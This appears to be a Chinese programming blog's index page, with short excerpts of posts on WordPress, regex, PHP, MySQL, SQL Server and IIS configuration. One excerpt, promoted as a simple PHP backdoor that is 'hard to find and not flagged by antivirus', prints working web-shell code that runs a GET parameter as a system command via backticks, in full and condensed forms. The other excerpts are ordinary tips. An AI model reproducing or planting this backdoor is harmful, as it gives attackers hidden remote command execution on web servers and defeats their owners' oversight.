博客主机
  • WordPress 主题:Ality

    WordPress 主题:Ality

  • 为WordPress文章自动添加自定义栏目

    为WordPress文章自动添加自定义栏目

  • 显示最近WordPress注册用户

    显示最近WordPress注册用户

  • 在WordPress文本小工具中运行PHP代码

    在WordPress文本小工具中运行PHP代码

正则表达式全部符号解释

正则表达式全部符号解释
字符 描述 \ 将下一个字符标记为一个特殊字符、或一个原义字符、或一个 向后引用、或一个八进制转义符。例如,'n' 匹配字符 "n"。'\n' 匹配一个换行符。序列 '\\' 匹配 "\" 而 "\(" 则匹配 "("。 ^ 匹配输入字符串的开始位置。如果设置了 RegExp 对象的 Multiline 属性,^ 也匹配 '\n' 或 '\r' 之后的位置。 $ 匹配输入字符串的结束位置。如果设置了RegExp 对象的 Multiline 属性,$ 也匹配 '\n' ...
博客主机

简简单单13行代码自动生成英文别名

简简单单13行代码自动生成英文别名
百度版 // 自动生成英文别名 - 百度版 function bymt_slug_auto_translate( $title ) {     $wp_http_get = wp_safe_remote_get( 'http://fanyi.baidu.com/v2transapi?from=zh&to=en&transtype=trans&query=' . $title );     if ( emptyempty( $wp_http_get->errors ) ) {         if ( ! emptyempty( $wp_http_get['body'] ) ) {             $trans_result = json_decode( $wp_http_ge...

不同操作系统下\r \r\n \t的区别

不同操作系统下\r \r\n \t的区别
\n 软回车: 在Windows 中表示换行且回到下一行的最开始位置。相当于Mac OS 里的 \r 的效果。 在Linux、unix 中只表示换行,但不会回到下一行的开始位置。 \r 软空格: 在Linux、unix 中表示返回到当行的最开始位置。 在Mac OS 中表示换行且返回到下一行的最开始位置,相当于Windows 里的 \n 的效果。 \t 跳格(移至下一列)。 它们在双引号或定界符表示的字符串中有效,在单引号表示的字符串中无效。 \r\n...

PHP最简单的后门,且难查,不报毒!

PHP最简单的后门,且难查,不报毒!
第一段 <?php        $c=urldecode($_GET['c']);if($c){`$c`;}//完整        !$_GET['c']||`{$_GET['c']}`;//精简        /*******************************************************   * 原理:PHP中``符号包含会当作系统命令执行   * 示例:http://host/?c=type%20confi...

Mysql自增主键ID调整|重新排序

Mysql自增主键ID调整|重新排序
Mysql数据库表的自增主键ID号乱了,需要重新排列。 原理:删除原有的自增ID,重新建立新的自增ID。 1,删除原有主键: ALTER TABLE `table_name` DROP `id`; 2,添加新主键字段: ALTER TABLE `table_name` ADD `id` MEDIUMINT( 8 ) NOT NULL FIRST; 3,设置新主键: ALTER TABLE `table_name` MODIFY COLUMN `id` MEDIUMINT( 8 ) NOT NULL AUTO_INCREMENT,ADD PRIMARY KEY(id);

Discuz 加密解密函数 authcode

Discuz 加密解密函数 authcode
<?php /**  * $string 明文或密文  * $operation 加密ENCODE或解密DECODE  * $key 密钥  * $expiry 密钥有效期  */ function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {     // 动态密匙长度,相同的明文会生成不同密文就是依靠动态密匙     // 加入随机密钥,可以令密文无任何规律,即便是原文和密钥完全相同,加密结果也会每次不同,增大破解难度。     // 取值越大,密...

PHP 判断变量是否为空 empty() 函数

PHP 判断变量是否为空 empty() 函数
关于 empty() empty() 用于检查一个变量是否为空。如果变量是非空或非零的值,则 empty() 返回 FALSE。换句话说,""、0、"0"、NULL、FALSE、array()、var $var; 以及没有任何属性的对象都将被认为是空的,如果 var 为空,则返回 TRUE。 empty() 与 isset() 的一个简单比较。 <?php         $var = 0; // 结果为 true,因为 $var 为空         // 结果为 true,因为 $var =0         if (emptyempty($v...

sql2005用户sa登录失败,该用户与可信SQL Server连接无关联,错误18452

sql2005用户sa登录失败,该用户与可信SQL Server连接无关联,错误18452
解决方案 用户 'sa' 登录失败。该用户与可信 SQL Server 连接无关联 问题一、忘记了登录Microsoft SQL Server 2005 的sa的登录密码 解决方法:先用windows身份验证的方式登录进去,然后在‘安全性’-‘登录’-右键单击‘sa’-‘属性’,修改密码(sa的密码不能太简单,最好要有数字,字母,下划线字符组成,且长度最好大于10个字符);点击确定就可以了。 问题二、已成功与服务器建立连接,但是在登录过程中发生错...

IIS6.0 .apsx无法找到该页 让IIS支持ASPX,添加Web服务扩展的方法

IIS6.0 .apsx无法找到该页 让IIS支持ASPX,添加Web服务扩展的方法
让IIS支持ASPX,添加Web服务扩展的方法 打开IIS,本地计算机,右击"默认网站"点"所有任务"再点"添加Web服务扩展",这样就有Web服务扩展了,有了这个,那该IIS也就支持aspnet了. 如果有了Web服务扩展还不支持aspnet的话,则,继续下面的方法: 一、先注册asp.net组件: (asp.NET 组件即:.Net Framework ) 开始->运行->cmd->执行命令: C:\windows\Microsoft.NET\Framework\v2.0.50727\aspnet_regi...